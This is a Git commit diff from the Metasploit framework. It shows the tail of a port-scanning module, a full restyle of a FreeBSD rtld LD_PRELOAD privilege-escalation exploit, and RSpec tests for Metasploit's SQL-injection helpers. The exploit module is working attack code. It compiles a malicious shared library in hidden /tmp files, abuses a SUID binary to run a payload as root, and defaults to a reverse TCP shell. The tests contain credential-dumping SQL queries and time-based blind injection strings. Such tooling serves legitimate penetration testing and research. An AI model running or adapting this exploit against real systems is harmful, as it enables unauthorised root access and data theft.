print_good("[#{rhost}] #{target}:#{port} seems open (HTTP #{res.code} redirect to: '#{res.headers['Location']}', server header: '#{res.headers['Server']}')")
|
||||
report_service(host: target, port: port, name: res.headers['Server'], info: 'Redirect to: ' + res.headers['Location'])
|
||||
else
|
||||
# 200 OK, 404 Not Found etc - still indicates the port was open and responding.
|
||||
server = res.headers['Server'] || 'unknown'
|
||||
print_good("[#{rhost}] #{target}:#{port} seems open (HTTP #{res.code}, server header: '#{server}').")
|
||||
report_service(host: target, port: port, name: server, info: res.body)
|
||||
end
|
||||
|
||||
vprint_status("[#{rhost}] Requesting #{target}:#{port}")
|
||||
if port==443
|
||||
res = send_request_cgi({
|
||||
'uri' => "https://#{target}:#{port}",
|
||||
'method' => 'GET',
|
||||
'data' => '',
|
||||
'version' => '1.0',
|
||||
'vhost' => ''
|
||||
}, 10)
|
||||
else
|
||||
res = send_request_cgi({
|
||||
'uri' => "http://#{target}:#{port}",
|
||||
'method' => 'GET',
|
||||
'data' => '',
|
||||
'version' => '1.0',
|
||||
'vhost' => ''
|
||||
}, 10)
|
||||
end
|
||||
|
||||
if res and res.body
|
||||
|
||||
if res.code == 200 or res.body =~ /Zero/ or res.code == 404 or res.code == 401
|
||||
print_good("[#{rhost}] #{target}:#{port} seems OPEN")
|
||||
report_service(:host => target, :port => port, :name => "unknown", :info => res.body )
|
||||
end
|
||||
if res.body =~ /No route to host/
|
||||
dead = true
|
||||
print_error("[#{rhost}] #{target} is DEAD")
|
||||
end
|
||||
|
||||
print_status("[#{rhost}] #{target}:#{port} blocked by ACL") if res.body =~ /Access control/
|
||||
|
||||
if res.body =~ /Connection refused/ or res.body =~ /service not listening/
|
||||
report_host(:host => target)
|
||||
print_good("[#{rhost}] #{target} is alive but #{port} is CLOSED")
|
||||
end
|
||||
end
|
||||
end
|
||||
dead = false
|
||||
end
|
||||
dead = false
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -6,78 +6,82 @@
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Unix
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'FreeBSD rtld execl() Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in the FreeBSD
|
||||
run-time link-editor (rtld).
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'FreeBSD rtld execl() Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in the FreeBSD
|
||||
run-time link-editor (rtld).
|
||||
|
||||
The rtld `unsetenv()` function fails to remove `LD_*`
|
||||
environment variables if `__findenv()` fails.
|
||||
The rtld `unsetenv()` function fails to remove `LD_*`
|
||||
environment variables if `__findenv()` fails.
|
||||
|
||||
This can be abused to load arbitrary shared objects using
|
||||
`LD_PRELOAD`, resulting in privileged code execution.
|
||||
This can be abused to load arbitrary shared objects using
|
||||
`LD_PRELOAD`, resulting in privileged code execution.
|
||||
|
||||
This module has been tested successfully on:
|
||||
This module has been tested successfully on:
|
||||
|
||||
FreeBSD 7.2-RELEASE (amd64); and
|
||||
FreeBSD 8.0-RELEASE (amd64).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Kingcope', # Independent discovery, public disclosure, and exploit
|
||||
'stealth', # Discovery and exploit (4b1717926ed0d4823622011625fb1824)
|
||||
'bcoles' # Metasploit (using Kingcope's exploit code [modified])
|
||||
],
|
||||
'DisclosureDate' => '2009-11-30',
|
||||
'Platform' => ['bsd'], # FreeBSD
|
||||
'Arch' =>
|
||||
[
|
||||
ARCH_X86,
|
||||
ARCH_X64,
|
||||
ARCH_ARMLE,
|
||||
ARCH_AARCH64,
|
||||
ARCH_PPC,
|
||||
ARCH_MIPSLE,
|
||||
ARCH_MIPSBE
|
||||
],
|
||||
'SessionTypes' => ['shell'],
|
||||
'References' =>
|
||||
[
|
||||
['BID', '37154'],
|
||||
['CVE', '2009-4146'],
|
||||
['CVE', '2009-4147'],
|
||||
['SOUNDTRACK', 'https://www.youtube.com/watch?v=dDnhthI27Fg'],
|
||||
['URL', 'https://seclists.org/fulldisclosure/2009/Nov/371'],
|
||||
['URL', 'https://c-skills.blogspot.com/2009/11/always-check-return-value.html'],
|
||||
['URL', 'https://lists.freebsd.org/pipermail/freebsd-announce/2009-December/001286.html'],
|
||||
['URL', 'https://xorl.wordpress.com/2009/12/01/freebsd-ld_preload-security-bypass/'],
|
||||
['URL', 'https://securitytracker.com/id/1023250']
|
||||
],
|
||||
'Targets' => [['Automatic', {}]],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'PAYLOAD' => 'bsd/x86/shell_reverse_tcp',
|
||||
'PrependSetresuid' => true,
|
||||
'PrependSetresgid' => true,
|
||||
'PrependFork' => true,
|
||||
'WfsDelay' => 10
|
||||
FreeBSD 7.2-RELEASE (amd64); and
|
||||
FreeBSD 8.0-RELEASE (amd64).
|
||||
},
|
||||
'DefaultTarget' => 0))
|
||||
register_options [
|
||||
OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/sbin/ping' ])
|
||||
]
|
||||
register_advanced_options [
|
||||
OptBool.new('ForceExploit', [false, 'Override check result', false]),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Kingcope', # Independent discovery, public disclosure, and exploit
|
||||
'stealth', # Discovery and exploit (4b1717926ed0d4823622011625fb1824)
|
||||
'bcoles' # Metasploit (using Kingcope's exploit code [modified])
|
||||
],
|
||||
'DisclosureDate' => '2009-11-30',
|
||||
'Platform' => ['bsd'], # FreeBSD
|
||||
'Arch' =>
|
||||
[
|
||||
ARCH_X86,
|
||||
ARCH_X64,
|
||||
ARCH_ARMLE,
|
||||
ARCH_AARCH64,
|
||||
ARCH_PPC,
|
||||
ARCH_MIPSLE,
|
||||
ARCH_MIPSBE
|
||||
],
|
||||
'SessionTypes' => ['shell'],
|
||||
'References' =>
|
||||
[
|
||||
['BID', '37154'],
|
||||
['CVE', '2009-4146'],
|
||||
['CVE', '2009-4147'],
|
||||
['SOUNDTRACK', 'https://www.youtube.com/watch?v=dDnhthI27Fg'],
|
||||
['URL', 'https://seclists.org/fulldisclosure/2009/Nov/371'],
|
||||
['URL', 'https://c-skills.blogspot.com/2009/11/always-check-return-value.html'],
|
||||
['URL', 'https://lists.freebsd.org/pipermail/freebsd-announce/2009-December/001286.html'],
|
||||
['URL', 'https://xorl.wordpress.com/2009/12/01/freebsd-ld_preload-security-bypass/'],
|
||||
['URL', 'https://securitytracker.com/id/1023250']
|
||||
],
|
||||
'Targets' => [['Automatic', {}]],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'PAYLOAD' => 'bsd/x86/shell_reverse_tcp',
|
||||
'PrependSetresuid' => true,
|
||||
'PrependSetresgid' => true,
|
||||
'PrependFork' => true,
|
||||
'WfsDelay' => 10
|
||||
},
|
||||
'DefaultTarget' => 0
|
||||
)
|
||||
)
|
||||
register_options([
|
||||
OptString.new('SUID_EXECUTABLE', [true, 'Path to a SUID executable', '/sbin/ping'])
|
||||
])
|
||||
register_advanced_options([
|
||||
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
|
||||
]
|
||||
])
|
||||
end
|
||||
|
||||
def base_dir
|
||||
@@ -89,124 +93,116 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
end
|
||||
|
||||
def upload(path, data)
|
||||
print_status "Writing '#{path}' (#{data.size} bytes) ..."
|
||||
rm_f path
|
||||
write_file path, data
|
||||
register_file_for_cleanup path
|
||||
print_status("Writing '#{path}' (#{data.size} bytes) ...")
|
||||
rm_f(path)
|
||||
write_file(path, data)
|
||||
register_file_for_cleanup(path)
|
||||
end
|
||||
|
||||
def check
|
||||
kernel_release = cmd_exec('uname -r').to_s
|
||||
unless kernel_release =~ /^(7\.[012]|8\.0)/
|
||||
vprint_error "FreeBSD version #{kernel_release} is not vulnerable"
|
||||
return CheckCode::Safe
|
||||
return CheckCode::Safe("FreeBSD version #{kernel_release} is not vulnerable")
|
||||
end
|
||||
vprint_good "FreeBSD version #{kernel_release} appears vulnerable"
|
||||
|
||||
unless command_exists? 'gcc'
|
||||
vprint_error 'gcc is not installed'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
print_good 'gcc is installed'
|
||||
vprint_good("FreeBSD version #{kernel_release} appears vulnerable")
|
||||
|
||||
unless setuid? suid_exe_path
|
||||
vprint_error "#{suid_exe_path} is not setuid"
|
||||
return CheckCode::Detected
|
||||
unless command_exists?('cc')
|
||||
return CheckCode::Safe('cc is not installed')
|
||||
end
|
||||
vprint_good "#{suid_exe_path} is setuid"
|
||||
|
||||
vprint_good('cc is installed')
|
||||
|
||||
unless setuid?(suid_exe_path)
|
||||
return CheckCode::Detected("#{suid_exe_path} is not setuid")
|
||||
end
|
||||
|
||||
vprint_good("#{suid_exe_path} is setuid")
|
||||
|
||||
CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless check == CheckCode::Appears
|
||||
unless datastore['ForceExploit']
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
|
||||
end
|
||||
print_warning 'Target does not appear to be vulnerable'
|
||||
end
|
||||
|
||||
if is_root?
|
||||
unless datastore['ForceExploit']
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
|
||||
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
|
||||
end
|
||||
end
|
||||
|
||||
unless writable? base_dir
|
||||
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
||||
unless writable?(base_dir)
|
||||
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
|
||||
end
|
||||
|
||||
if base_dir.length > 1_000
|
||||
fail_with Failure::BadConfig, "#{base_dir} path length #{base_dir.length} is larger than 1,000"
|
||||
max_len = 1_000
|
||||
if base_dir.length > max_len
|
||||
fail_with(Failure::BadConfig, "#{base_dir} path length #{base_dir.length} is larger than #{max_len}")
|
||||
end
|
||||
|
||||
payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
|
||||
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
|
||||
|
||||
executable_data = <<-EOF
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
executable_data = <<~LIB
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
void _init() {
|
||||
extern char **environ;
|
||||
environ=NULL;
|
||||
system("#{payload_path} &");
|
||||
}
|
||||
EOF
|
||||
void _init() {
|
||||
extern char **environ;
|
||||
environ=NULL;
|
||||
system("#{payload_path} &");
|
||||
}
|
||||
LIB
|
||||
|
||||
executable_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
|
||||
upload "#{executable_path}.c", executable_data
|
||||
output = cmd_exec "gcc -o #{executable_path}.o -c #{executable_path}.c -fPIC -Wall"
|
||||
register_file_for_cleanup "#{executable_path}.o"
|
||||
executable_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
|
||||
upload("#{executable_path}.c", executable_data)
|
||||
output = cmd_exec("cc -o #{executable_path}.o -c #{executable_path}.c -fPIC -Wall")
|
||||
register_file_for_cleanup("#{executable_path}.o")
|
||||
|
||||
unless output.blank?
|
||||
print_error output
|
||||
fail_with Failure::Unknown, "#{executable_path}.c failed to compile"
|
||||
print_error(output)
|
||||
fail_with(Failure::Unknown, "#{executable_path}.c failed to compile")
|
||||
end
|
||||
|
||||
lib_name = ".#{rand_text_alphanumeric 5..10}"
|
||||
lib_name = ".#{rand_text_alphanumeric(5..10)}"
|
||||
lib_path = "#{base_dir}/#{lib_name}"
|
||||
output = cmd_exec "gcc -shared -Wall,-soname,#{lib_name}.0 #{executable_path}.o -o #{lib_path}.0 -nostartfiles"
|
||||
register_file_for_cleanup "#{lib_path}.0"
|
||||
output = cmd_exec("cc -shared -Wall,-soname,#{lib_name}.0 #{executable_path}.o -o #{lib_path}.0 -nostartfiles")
|
||||
register_file_for_cleanup("#{lib_path}.0")
|
||||
|
||||
unless output.blank?
|
||||
print_error output
|
||||
fail_with Failure::Unknown, "#{executable_path}.o failed to compile"
|
||||
print_error(output)
|
||||
fail_with(Failure::Unknown, "#{executable_path}.o failed to compile")
|
||||
end
|
||||
|
||||
exploit_data = <<-EOF
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
exploit_data = <<~EXPLOIT
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main() {
|
||||
extern char **environ;
|
||||
environ = (char**)calloc(8096, sizeof(char));
|
||||
int main() {
|
||||
extern char **environ;
|
||||
environ = (char**)calloc(8096, sizeof(char));
|
||||
environ[0] = (char*)calloc(1024, sizeof(char));
|
||||
environ[1] = (char*)calloc(1024, sizeof(char));
|
||||
strcpy(environ[1], "LD_PRELOAD=#{lib_path}.0");
|
||||
return execl("#{suid_exe_path}", "", (char *)0);
|
||||
}
|
||||
EXPLOIT
|
||||
|
||||
environ[0] = (char*)calloc(1024, sizeof(char));
|
||||
environ[1] = (char*)calloc(1024, sizeof(char));
|
||||
strcpy(environ[1], "LD_PRELOAD=#{lib_path}.0");
|
||||
|
||||
return execl("#{suid_exe_path}", "", (char *)0);
|
||||
}
|
||||
EOF
|
||||
|
||||
exploit_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
|
||||
upload "#{exploit_path}.c", exploit_data
|
||||
output = cmd_exec "gcc #{exploit_path}.c -o #{exploit_path} -Wall"
|
||||
register_file_for_cleanup exploit_path
|
||||
exploit_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
|
||||
upload("#{exploit_path}.c", exploit_data)
|
||||
output = cmd_exec("cc #{exploit_path}.c -o #{exploit_path} -Wall")
|
||||
register_file_for_cleanup(exploit_path)
|
||||
|
||||
unless output.blank?
|
||||
print_error output
|
||||
fail_with Failure::Unknown, "#{exploit_path}.c failed to compile"
|
||||
print_error(output)
|
||||
fail_with(Failure::Unknown, "#{exploit_path}.c failed to compile")
|
||||
end
|
||||
|
||||
upload payload_path, generate_payload_exe
|
||||
chmod payload_path
|
||||
upload(payload_path, generate_payload_exe)
|
||||
chmod(payload_path)
|
||||
|
||||
print_status 'Launching exploit...'
|
||||
output = cmd_exec exploit_path
|
||||
print_status('Launching exploit...')
|
||||
output = cmd_exec(exploit_path)
|
||||
output.each_line { |line| vprint_status line.chomp }
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,3 @@
|
||||
RSpec.describe Msf::Exploit::SQLi::MySQLi::Common do
|
||||
it_should_behave_like 'Msf::Exploit::SQLi::Common', described_class
|
||||
end
|
||||
@@ -0,0 +1,3 @@
|
||||
RSpec.describe Msf::Exploit::SQLi::MySQLi::TimeBasedBlind do
|
||||
it_should_behave_like 'TimeBasedBlind', described_class
|
||||
end
|
||||
@@ -0,0 +1,144 @@
|
||||
RSpec.shared_examples 'Msf::Exploit::SQLi::Common' do |sqli_class|
|
||||
let(:common_class) do
|
||||
sqli_class
|
||||
end
|
||||
before(:example) do
|
||||
# because vprint_status accesses framework, datastore and user_output
|
||||
allow_any_instance_of(common_class).to receive(:vprint_status).and_return(nil)
|
||||
end
|
||||
let(:datastore) { instance_double(::Msf::DataStore) }
|
||||
context 'Without opts' do
|
||||
let(:query_proc) do
|
||||
proc do |payload|
|
||||
payload[/'(.+?)'/, 1] || ''
|
||||
end
|
||||
end
|
||||
let(:sqli_obj) do
|
||||
common_class.new(datastore, {}, {}, &query_proc)
|
||||
end
|
||||
context('#run_sql') do
|
||||
queries = ["select concat(username,':',password) from users", "select 'hello'", 'select 1234 from users']
|
||||
query_results = [ ':', 'hello', '' ]
|
||||
queries.each_with_index do |query, i|
|
||||
it 'Should call vprint_status on run_sql' do
|
||||
expect(sqli_obj).to receive(:vprint_status).once
|
||||
expect(sqli_obj.run_sql(query)).to eql query_results[i]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context('#test_vulnerable') do
|
||||
it 'Should detect if the sqli object is expected to perform SQLi successfully' do
|
||||
expect(sqli_obj.test_vulnerable).to eql true
|
||||
allow(sqli_obj).to receive(:run_sql).and_return '<div id="articles"></div>'
|
||||
expect(sqli_obj.test_vulnerable).to eql false
|
||||
end
|
||||
end
|
||||
|
||||
context('#dump_table_fields') do
|
||||
result_limit = rand(1..26)
|
||||
common_query = /^select.*password.*from.*maindb\.users\s*;?\s*?(?:#|--)?$/mi
|
||||
condition_query = /^select.*password.*from.*maindb\.users\s+where/mi
|
||||
limit_query = /^select.*password.*from.*maindb\.users\s+limit/mi
|
||||
|
||||
# query without condition and limit
|
||||
it 'Should yield valid queries' do
|
||||
expect(sqli_obj).to receive(:run_sql).and_call_original
|
||||
expect(query_proc).to receive(:call).with(common_query).and_call_original
|
||||
sqli_obj.dump_table_fields('maindb.users', %w[password])
|
||||
end
|
||||
# query with condition string
|
||||
it 'Should yield valid queries when the user adds a condition' do
|
||||
expect(query_proc).to receive(:call).with(condition_query).and_call_original
|
||||
sqli_obj.dump_table_fields('maindb.users', %w[password], "username='admin'")
|
||||
end
|
||||
# query with limit
|
||||
it 'Should yield valid queries when the user adds a limit number' do
|
||||
expect(query_proc).to receive(:call).with(limit_query).and_call_original
|
||||
sqli_obj.dump_table_fields('maindb.users', %w[password], '', result_limit)
|
||||
end
|
||||
end
|
||||
end
|
||||
context 'truncation_length set' do
|
||||
let(:opts) do
|
||||
{ truncation_length: rand(1..20) }
|
||||
end
|
||||
let(:query_proc) do
|
||||
proc do |payload|
|
||||
payload[/'(.+?)'/, 1] || ''
|
||||
end
|
||||
end
|
||||
let(:sqli_obj) do
|
||||
common_class.new(datastore, {}, {}, opts, &query_proc)
|
||||
end
|
||||
context '#truncated_query should act like run_sql' do
|
||||
let(:query_result) do
|
||||
'e951a99943ebe29c6fc425c7df2a0544,028cad8c0961163ef8401d3573b41d8e,b090e41c61a321c99bca94bdb26d1788'
|
||||
end
|
||||
let(:query_proc) do
|
||||
i = 0
|
||||
proc do |_payload|
|
||||
slice = query_result[i, opts[:truncation_length]]
|
||||
i += opts[:truncation_length]
|
||||
if slice.empty?
|
||||
i = 0
|
||||
''
|
||||
else
|
||||
slice
|
||||
end
|
||||
end
|
||||
end
|
||||
let(:sqli_obj) do
|
||||
common_class.new({}, {}, {}, opts, &query_proc)
|
||||
end
|
||||
it 'Should concatenate the slices and return output like run_sql' do
|
||||
expect(sqli_obj.send(:truncated_query, 'select substr(username,^OFFSET^,' \
|
||||
"#{opts[:truncation_length]}) from users")).to eql query_result
|
||||
end
|
||||
end
|
||||
context 'call_function and dump_table_fields should call truncated_query instead of run_sql' do
|
||||
it '#dump_table_fields' do
|
||||
expect(sqli_obj).to receive(:truncated_query).and_call_original
|
||||
sqli_obj.dump_table_fields('users', %w[username])
|
||||
end
|
||||
it '#call_function' do
|
||||
# called by version(), current_user(), current_database() if sqli_obj responds to them
|
||||
expect(sqli_obj).to receive(:truncated_query)
|
||||
sqli_obj.send(:call_function, 'version()')
|
||||
end
|
||||
end
|
||||
end
|
||||
context 'custom encoder set' do
|
||||
let(:opts) do
|
||||
{ encoder: { encode: 'reverse(^DATA^)', decode: :reverse.to_proc } }
|
||||
end
|
||||
let(:dump_data) do
|
||||
%w[
|
||||
ALL_PLUGINS APPLICABLE_ROLES CHARACTER_SETS CHECK_CONSTRAINTS COLLATIONS
|
||||
COLLATION_CHARACTER_SET_APPLICABILITY COLUMNS COLUMN_PRIVILEGES ENABLED_ROLES
|
||||
]
|
||||
end
|
||||
let(:query_proc) do
|
||||
proc do
|
||||
# the server response should be encoded
|
||||
dump_data.map(&:reverse).join(',')
|
||||
end
|
||||
end
|
||||
let(:sqli_obj) do
|
||||
common_class.new(datastore, {}, {}, opts, &query_proc)
|
||||
end
|
||||
context '#initialize' do
|
||||
it 'should set the custom encoder' do
|
||||
expect(sqli_obj.instance_variable_get(:@encoder)).to eql opts[:encoder]
|
||||
end
|
||||
end
|
||||
|
||||
context '#enum_table_names' do
|
||||
function_call = /reverse\(/i
|
||||
it 'Should apply the encoder correctly in the query, and use the decoder to retrieve decoded results' do
|
||||
expect(sqli_obj.instance_variable_get(:@query_proc)).to receive(:call).with(function_call).and_call_original
|
||||
expect(sqli_obj.enum_table_names).to eql dump_data
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,25 @@
|
||||
RSpec.shared_examples 'TimeBasedBlind' do |sqli_class|
|
||||
let(:datastore) { instance_double(::Msf::DataStore) }
|
||||
let(:timebased_class) do
|
||||
sqli_class
|
||||
end
|
||||
let(:datastore) do
|
||||
{ 'SqliDelay' => 1.0 }
|
||||
end
|
||||
let(:query_proc) do
|
||||
proc do |payload|
|
||||
delay = payload[/\d+(?:.?\d*)?/].to_f
|
||||
Timecop.travel(Time.now + delay)
|
||||
end
|
||||
end
|
||||
let(:sqli_obj) do
|
||||
timebased_class.new(datastore, {}, {}, &query_proc)
|
||||
end
|
||||
context '#blind_request' do
|
||||
it "Should return true if the block takes more than datastore['SqliDelay'] to run" do
|
||||
expect(sqli_obj.send(:blind_request, 'sleep(1.3)')).to eql true
|
||||
expect(sqli_obj.send(:blind_request, 'sleep(0.5)')).to eql false
|
||||
expect(sqli_obj.send(:blind_request, 'sleep(0)')).to eql false
|
||||
end
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user